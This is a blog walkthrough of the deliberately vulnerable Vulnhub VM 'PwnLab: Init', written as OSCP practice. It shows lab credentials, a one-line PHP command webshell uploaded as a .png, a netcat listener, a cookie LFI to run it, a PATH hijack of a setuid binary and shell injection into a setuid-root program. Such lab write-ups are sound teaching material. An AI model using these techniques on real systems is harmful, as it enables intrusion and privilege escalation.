Friday, February 2, 2018

Vulnhub VM Walkthrough: PwnLab init

I have a lot of fun with vulnerable VMs from Vulnhub, but don't normally post any walkthroughs as there are plenty posted already.  However, in preparation for OSCP, in order to work on my skills in "writing the report as you go", I've decided to post a few walkthroughs for some of the more interesting/fun VMs I've done.

This VM is a relatively easy but it's a really fun one.  It's called PwnLab: Init. The purpose of this CTF is to get root and read the flag.

Let's get started!

We start with our enumeration.  I've customized Mike Czumak's python enumeration scanner script, so it's a "hit enter and wait" while it runs nmap, dirb, cewl, nikto, wfuzz, some brute forcers, and a whole bunch of other things.  

Looking at the "quick" nmap scan output shows several ports open:

Port 39392 is interesting, but let's set that aside for now.  The VM is running a web server and mysql is open, always a tempting target.

Looking at the web server, it appears to be there to upload and share images.  

Dirbuster's output shows the upload and image directories:

The Login page:

Standard operating procedure here is try common username/password combinations and SQL injection.  No joy, and running sqlmap came up empty.  

The URL of 


begs for local file inclusion (LFI), but that also provided no success.  Trying "login type confusion", such as 


didn't work either.  Then I tried LFI using PHP protocol wrappers.  Wrappers allow you to operate on resources as if they were regular local files. This request will base64 encode the php config:

And we're provided with a web page with the php config output in base64.  Decoding the base64:

We have the MySQL root password.  Since the MySQL port is open on the system, we can use that password to login to MySQL remotely:

 We can find user passwords encoded in the "users" database:

We decode the base64 and have our usernames and passwords:

 kent  JWzXuBJJNy
 mike  SIfdsTEn6I
 kane  iSv5Ym2GRo

We then proceed to login as kent, which brings us to an apparent image upload page:

Uploading php shells failed, as the web server wouldn't let us upload anything with a .php extension.  gif and jpg/jpeg gave us an "Error 002" message.  However, uploading anything *.png worked, and the resulting page source provided us with a link to the image we uploaded. 


So a php reverse shell was uploaded as phpshell.png by adding GIF89; to the top of the file.  Our listener was setup:

nc -nvlp 2545

However, when the uploaded file was accessed, no code ran and an error was shown:

I tried a simple cmd upload that didn't work either:

root@kali2:~/current/tools# cat cmd.png
<?php $cmd=$_GET["cmd"]; echo `$cmd`; ?>

A Google search on "when your uploaded php reverse shell won't run commands properly" provided information about a file inclusion vulnerability on the cookie parameter (lang= ).  The following line is an example of the local file inclusion vulnerability in PHP:

require_once($LANG_PATH . ‘/’ . $_GET[‘lang’] . ‘.php’);

In this case an attacker controls the "lang" variable and can thereby force the application to execute an arbitrary file as code. The attacker does not however control the beginning of the require_once() argument, so including a remote file would not be possible. To exploit this I set the "lang" variable to the name of my uploaded php reverse shell, using my favorite tool, Burp Suite:

Send it, and we get a shell!  We spawn a tty using python, then see that we are logged in as the web service:

We grab kernel and distribution information for potential future use:

www-data@pwnlab:/$ uname -a
uname -a
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux

www-data@pwnlab:/$ cat /etc/*-release
cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION="8 (jessie)"

Since we already have some usernames and passwords, let's try to login as one!

su kent


We easily login as kent.  We quickly discover that sudo isn't installed, so we can't run commands as root from this account.

kent@pwnlab:~$ sudo -l
sudo -l
bash: sudo: command not found

Nothing really interesting was found logged in as kent, so let's try logging in as mike:

kent@pwnlab:~$ su mike
su mike
Password: SIfdsTEn6I
su: Authentication failure


Mike is smart and didn't use the same password he used on the website. =)
Let's try the last user, kane:

kent@pwnlab:~$ su kane
su kane
Password: iSv5Ym2GRo

We login as kane with no problem.  Of course, we might have been able to login as these individuals via ssh right away, but I didn't try that. =)

Moving into kane's home directory, we see an interesting file:

-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike

file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped

It's a binary, not a script.  It's setuid to mike, so when we run it, it runs with mike's rights and permissions.  We give it a try:

kane@pwnlab:~$ ./msgmike
cat: /home/mike/msg.txt: No such file or directory

It's immediately noticeable that the program executes "cat" on a file in mike's home directory.  In this case, we may be able to fool the program into running our version of "cat", in order to get a shell as mike.  Since right now we are logged in as kane and in kane's home directory, let's create a file called "cat" in kane's home directory:

echo "/bin/bash" > cat
chmod +x cat

Now that we have our "cat" that will execute a shell, we need to tell our shell to run our local version of cat before running /bin/cat.  We'll do this by prepending the local directory (".") in front of our normal PATH:

export PATH=.:$PATH

Now we run msgmike again:

kane@pwnlab:~$ ./msgmike


our local "cat" runs, launches bash, and we are now mike!  

Now that we are mike, let's look around.  Another interesting file exists in mike's home directory:

-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root

file msg2root
msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped

We see a program that apparently is used to send messages to root.  It's setuid root, which means it runs with root's rights and permissions, which is always glorious. =)  When we run it, it prompts us for a message:
mike@pwnlab:/home/mike$ ./msg2root
Message for root: Hello

It simply echos the message.  Anything that prompts for input should always be thoroughly tested.  Running "strings" on the file determines that it uses asprint, not "echo", so creating a local version of "echo" similar to what we did with "cat" wouldn't work here.

strings msg2root

But one of the first things we always try is appending a shell execution command after our message with a semicolon:

mike@pwnlab:/home/mike$ ./msg2root
Message for root: hello; /bin/bash


Hmmm....that didn't work.  I've ran into occasions where specifying /bin/sh does, however.  Changing /bin/bash to /bin/sh gives us a root shell and the flag:

A fun VM!  =)

No comments:

Post a Comment